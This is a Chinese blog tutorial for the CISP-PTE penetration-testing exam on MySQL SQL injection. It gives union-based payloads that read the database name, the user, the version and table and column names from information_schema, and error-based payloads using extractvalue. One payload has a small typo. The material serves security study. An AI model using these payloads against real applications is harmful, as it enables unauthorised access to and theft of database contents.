CISP-PTE SQL注入 入门篇

经过上一篇的文章,相信大家也初步掌握了sql语句,现在我们就来学习SQL注入的攻击语句。

mysql在版本5之前,只能通过盲注来获取数据,mysql在版本5以后,可以获取信息的方式就很多了,因为含有默认的库:information_schema,这个库存储着mysql的结构信息。我们通过这个库来获取数据表名,字段名。

判断查询类型

select * from users where id=1

这个语句意思是查询users表中id为1的所有字段,当我把这个id的字段挖空,让这个字段可以用户自己输入。那么攻击者如果想要sql注入,就会在这个字段做操作。
所以就有了第一阶段:判断查询类型

数字类型
顾名思义就是程序员给出的字段名是否是数字类型(int)类型,可以通过与或来判断
and判断

select * from users where id=1 and 0# //用and来判断,and左边值是为真,右边的值不为真时会报错。

or判断

select * from users where id=0 or 1# //用or来判断,or左边值是为假,右边的值为真时则不会报错。

用一句话来概括,and左右两边的值为真时则为真,or左右两边任意一值为真则为真。
大家应该都注意到在输入的语句后面都有“#”,“#”的意思是注释,放在这里是将后面的语句注释掉。

字符类型
程序员给出的字段名是否是字符类型(char)类型,可以通过单引号’和双引号“来判断。

select * from users where id='1'#' //注释将原本的单引号给注释掉了,这句sql语句能正常显示
select * from users where id="1"#" //注释将原本的双引号给注释掉了,这句sql语句能正常显示

通过上面几种方法,我们基本上可以确定数据类型是什么了。

判断显示位

判断显示位,就是看返回到页面的数据是多少个字段,我们通常用order by来判断,order by 后面接的是数字,一般从1开始递增,假设显示位为3,order by 4就会报错,所以能判断出来显示位为3。

select * from users where id="1" order by 1#"

查看显示位

查看显示位,就是看返回到页面的数据在哪里展现,用union select来输出,比如显示位为3。

select * from users where id="1" union select 1,2,3#"

然后页面就会显示1 2 3这几个数字。

查库,当前用户,版本信息

查库:database()
当前用户:current_user()
版本信息:@@version

select * from users where id="1" union select database(),current_user,@@version#"

通过查库,获取当前用户,版本信息,我们可以对数据库有一个了解

查表

查表和查字段名的操作都是依附于information_schema这个结构库来查询
在这里插入图片描述

select * from users where id="1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#" //将查到的表名以一行的形式显示出来

information_schema是数据库名,tables是表名,table_schema,table_name都是字段名

查字段名

在这里插入图片描述

select * from users where id="1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name="xxx"#" //将查到的字段名以一行的形式显示出来

information_schema是数据库名,columns是表名,table_name,column_name都是字段名,xxx代表数据表名

获取数据

select * from xxx //获取数据表中所有字段
select user,password from xxx //获取数据表中字段名为user和password的字段

以上就是联合查询的sql注入手法,也有报错注入,盲注的手法

报错注入

and extractvalue(1,concat(‘~’,([sql注入语句])))#

and extractvalue(1,concat('~',(database())))# //查库
and extractvalue(1,concat('~',((select table_name from information_schema.tables where table_schema=database() limit i.n))))# //查表
and extractvalue(1,concat('~',((select column_name from information_schema.columns where table_name='xxx' limit i,n))))# //查列名

如果显示不出来可以用limit来逐一显示,在语句后面加入limit i,n i代表查询结果的索引值(默认从0开始)如果i=0时可以忽略,4;n代表查询结果返回的条数。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

beirry

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值